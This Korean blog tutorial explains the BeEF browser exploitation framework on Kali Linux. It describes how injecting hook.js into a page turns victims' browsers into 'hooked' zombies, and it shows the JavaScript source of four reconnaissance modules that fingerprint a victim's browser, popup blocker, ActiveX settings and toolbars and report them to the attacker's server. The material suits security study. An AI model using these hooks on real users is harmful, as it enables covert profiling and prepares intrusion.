Open Source/Kali Linux

BeEF On Kali Linux - Commands탭 Browser 카테고리

DarkSoul.Story 2013. 11. 7. 07:55
반응형



웹 페이지에 hook.js를 삽입한 후 피해자가 hook.js가 삽입된 웹 페이지를 방문하면 피해자 PC에서 hook.js가 동작하면서, Hooked Browser (좀비PC)가 된다. Hooked Browser가 되면 자동으로 Hooked Browser의 대한 정보를 수집한다. 


 브라우저 이름 / 버전
 브라우저의 User-Agent
 브라우저 플랫폼
 브라우저 플러그인 (자바, 액티브 X, VBS, 플래시 등 )
 Windows Size 

아래는 BeEF에 의해 수집된 Hooked Browser의 웹 브라우저(Browser) 기본 정보이다.


별도의 모듈을 사용하면 앞서 확인한 기본 정보 이외에 Hooked Browser의 웹 브라우저(Browser)에 대한 자세한 정보를 수집할 수 있다. 웹 브라우저(Browser)에 대한 자세한 정보를 수집할 수 있는 모듈에 Commands탭에 Browser 카테고리에 존재하며, BeEF 0.4.4.5-alpha에서는 총 43개의 모듈이 존재한다. 여기서 전부 알아보기 힘들기 때문에 몇가지에 대해서만 언급하겠다.

1. Fingerprint Browser 모듈

Fingerprint Browser 모듈은 사파리, 인터넷 익스플로러, 모질라 파이어폭스의 고유한 URI 핸들러를 사용하여 브라우저의 종류와 버전 정보를 식별하며, 자바 스크립트 객체에 의존하지 않는다.

Fingerprint Browser 모듈을 사용하기 위해서는 Commands 탭에서 Browser 카테고리의 Fingerprint Browser를 선택한다. Fingerprint Browser 모듈을 선택하면, 오른쪽 하단에 [Execute] 버튼이 활성화 된다.


[Execute] 버튼을 클릭하면, [Module Results History]에 아래와 command가 생성된다. 


생성된 command를 클릭하면, 모듈의 command가 실행되어 아래와 같이 Fingerprint Browser 모듈의 결과를 확인할 수 있다. 여기서 식별되는 브라우저의 종류와 버전 정보는 대략적인 것이다. 


Fingerprint Browser 모듈은 내부적으로 고유한 URI 핸들러 데이터베이스를 가지고 있으며, 이 데이터베이스의 내용를 사용하여 브라우저의 종류와 버전 정보를 식별한다.

 var fingerprints = new Array(

       new Array("Safari","1+","feed://__rsrc__/__rsrc__/NextPage.tif"),

       new Array("Firefox","1+","moz-icon://.autoreg?size=16"),

       new Array("Firefox","2","resource:///res/html/gopher-audio.gif"),

       new Array("Firefox","2-3","jar:resource:///chrome/classic.jar!/skin/classic/browser/Secure.png"),

      new Array("Firefox","4-5","resource:///chrome/browser/skin/classic/browser/Secure.png"),

      new Array("Firefox","1-6","resource:///chrome/browser/content/branding/icon128.png"),

      new Array("Firefox","4+","resource:///chrome/browser/skin/classic/browser/Geolocation-16.png"),

      new Array("Firefox","7+","resource:///chrome/browser/content/browser/aboutHome-snippet1.png"),

      new Array("Firefox","8+","resource:///chrome/browser/skin/classic/aero/browser/Toolbar-inverted.png"),

      new Array("Internet Explorer","5-6","res://shdoclc.dll/pagerror.gif"),

      new Array("Internet Explorer","7-9","res://ieframe.dll/ielogo.png"),

      new Array("Internet Explorer","7+","res://ieframe.dll/info_48.png")

            );



아래 그림은 URI 핸들러 데이터베이스의 내용을 그대로 복사하여 파이어폭스에서 실행한 내용이다. 


2. Detect Popup Blocker 모듈

Detect Popup Blocker 모듈은 말 그대로 Hooked Browser의 웹 브라우저에서 팝업창이 뜨는것이 차단되어 있는지 확인할 때 사용하는 모듈이다. 

Detect Popup Blocker 모듈을 사용하기 위해서는 Commands 탭에서 Browser 카테고리의 Detect Popup Blocker를 선택한다. Detect Popup Blocker 모듈을 선택하면, 오른쪽 하단에 [Execute] 버튼이 활성화 된다.


[Execute] 버튼을 클릭하면, [Module Results History]에 아래와 command가 생성된다. 


생성된 command를 클릭하면, 모듈의 command가 실행되어 아래와 같이 Detect Popup Blocker 모듈의 결과를 확인할 수 있다. 


결과를 살펴 보면, data:popup_blocker_enabled=true라고 표시된다. 이는 Hooked Browser의 웹 브라우저에 팝업 차단 기능이 활성화 되어 있음을 의미한다.

 Hooked Browser의 웹 브라우저는 아래와 같이 실제 팝업창 차단 메시지를 출력한다.


아래는 Detect Popup Blocker  모듈의 command 소스코드이다. 

beef.execute(function() {

 

        beef.net.send("<%= @command_url %>"<%= @command_id %>"popup_blocker_enabled="+beef.browser.popup.blocker_enabled());

 

});


위 소스코드에서도 확인할 수 있듯이 실질적으로 팝업 차단 기능이 활성화 되어 있는지 확인은 beef.browser.popup.blocker_enabled() 함수에서 확인한다. beef.browser.popup.blocker_enabled() 함수는 아래와 같이 이루어져 있다.

beef.browser.popup = { 
                blocker_enabled: function ()

                {
                        screenParams = beef.browser.getScreenSize();
                        var popUp = window.open('/', 'windowName0', 'width=1, 
height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, 
resizable');
                        if (popUp == null || typeof(popUp)=='undefined') {

                                return true;

                        } else {

                                popUp.close();

                                return false;

                        }
                }
}; 
beef.regCmp('beef.browser.popup');


3. Detect Unsafe ActiveX 모듈

Detect Unsafe ActiveX 모듈은 인터넷 익스플로러(Internet Explorer)의 인터넷영역 보안 설정 중 [스크립팅하기 안전하지 않는 것으로 표시된 ActiveX 컨트롤 초기화 및 스크립팅] 옵션이 사용으로 설정되어 있는지 확인 할 때 사용한다.



Detect Unsafe ActiveX 모듈을 사용하기 위해서는 Commands 탭에서 Browser 카테고리의 Detect Unsafe ActiveX를 선택한다. Detect Unsafe ActiveX 모듈을 선택하면, 오른쪽 하단에 [Execute] 버튼이 활성화 된다.


[Execute] 버튼을 클릭하면, [Module Results History]에 아래와 command가 생성된다. 


생성된 command를 클릭하면, 모듈의 command가 실행되어 아래와 같이 Detect Unsafe ActiveX 모듈의 결과를 확인할 수 있다. 


결과를 살펴 보면, data:unsafe_activex=Browser is configured for unsafe ActiveX라고 표시된다. 이는 [스크립팅하기 안전하지 않는 것으로 표시된 ActiveX 컨트롤 초기화 및 스크립팅] 옵션이 사용으로 설정되어 있음을 의미한다.

참고로, [스크립팅하기 안전하지 않는 것으로 표시된 ActiveX 컨트롤 초기화 및 스크립팅] 옵션이 사용으로 설정되어 있으면, 아래와 같이 경고 메시지를 띄운다.


아래는 Detect Unsafe ActiveX 모듈의 command 소스코드이다. [스크립팅하기 안전하지 않는 것으로 표시된 ActiveX 컨트롤 초기화 및 스크립팅] 옵션이 사용되고 있는지 확인 하기 위해 ActiveXObject인 WbemScripting.SWbemLocator를 로드한다. 

beef.execute(function() { 
        var unsafe = true;

        var result = "";

        var test; 
        try {

                test = new ActiveXObject("WbemScripting.SWbemLocator");

        } catch (e) {

                unsafe = false;

        } 
        test = null; 
        if (unsafe) {

                result = "Browser is configured for unsafe ActiveX";

        } else {

                result = "Browser is NOT configured for unsafe ActiveX";

        } 
        beef.net.send("<%= @command_url %>", <%= @command_id %>, "unsafe_activex="
+result); 
}); 

4. Detect Toolbars 모듈

Detect Toolbars 모듈은 말 그대로 Hooked Browser의 웹 브라우저에서 사용 중인 툴바의 종류를 확인할 때 사용하는 모듈이다. 

Detect Toolbars 모듈을 사용하기 위해서는 Commands 탭에서 Browser 카테고리의 Detect Toolbars를 선택한다. Detect Toolbars 모듈을 선택하면, 오른쪽 하단에 [Execute] 버튼이 활성화 된다.


Detect Toolbars 모듈에서 확인 가능한 툴바의 종류는 Alexa Toolbar, Ask, Bing, Google, Stumble Upon 툴바를 식별할 수 있다. 이외에 툴바들은 툴바를 사용 중에 있더라도 사용하지 않고 있는것으로 판단한다.

[Execute] 버튼을 클릭하면, [Module Results History]에 아래와 command가 생성된다. 


생성된 command를 클릭하면, 모듈의 command가 실행되어 아래와 같이 Detect Toolbars 모듈의 결과를 확인할 수 있다. 


아래는 Detect Toolbars 모듈의 command 소스코드이다. 소스코드를 살펴 보면 가장 중요한것은 각 툴바에 대해서 정의하고, User-Agent 부분에서 정의한 툴바가 존재하는 확인한다. 

beef.execute(function() {

 
        var toolbar_ua = new Array (

                new Array (" Alexa Toolbar", " Alexa"),

                new Array (" AskTbS-PV", " Ask"),

                new Array (" BRI", " Bing"),

                new Array (" GTB", " Google"),

                new Array (" SU ", " Stumble Upon")

                )

 
        var toolbar_id = new Array (

                new Array ("AlexaCustomScriptId", " Alexa")

                )

 
        var result = '';

        var separator = ", ";

 
// CHECK USER-AGENT

        for (var i = 0; i < toolbar_ua.length; i++) {

 
                var agentRegex = new RegExp( toolbar_ua[i][0], 'g' );

 
                if ( agentRegex.exec(navigator.userAgent) ) {

 
                        result += toolbar_ua[i][1] + separator;

 
                }

        }

 
        // CHECK ELEMENT ID (DOM)

        for (var i = 0; i < toolbar_id.length; i++) {

 
                var element =  document.getElementById( toolbar_id[i][0] );

 
                if ( typeof(element) != 'undefined' && element != null ) {

 
                        result += toolbar_id[i][1] + separator;

 
                }

        }

 
// ENDING

        if ( result != '' ) {

 
                result = result.slice(0, -separator.length);

 
        } else if ( result == '' ) {

 
                result = " no toolbars detected";

 
        }

 
        beef.net.send("<%= @command_url %>", <%= @command_id %>, "toolbars="+result);

 
});


그렇다면 왜??? User-Agent 부분을 체크할까?? 그 이유는 툴바가 설치된 상태에서 웹 페이지를 읽게 되면 User-Agent 부분에 툴바의 종류를 확인할 수 있는 문자열이 포함되어 서버측에 전송된다. 

[User-Agent 부분 구글 툴바 문자열]


  

 관련글 보기


 2013/11/08 - [Kali Linux/도구 분석 ] - BeEF On Kali Linux - Commands탭 Social Engineering 카테고리


 2013/11/08 - [Kali Linux/도구 분석 ] - BeEF On Kali Linux - Commands탭 Persistence 카테고리


 2013/11/07 - [Kali Linux/도구 분석 ] - BeEF On Kali Linux - Commands탭 Hooked Domain 카테고리



반응형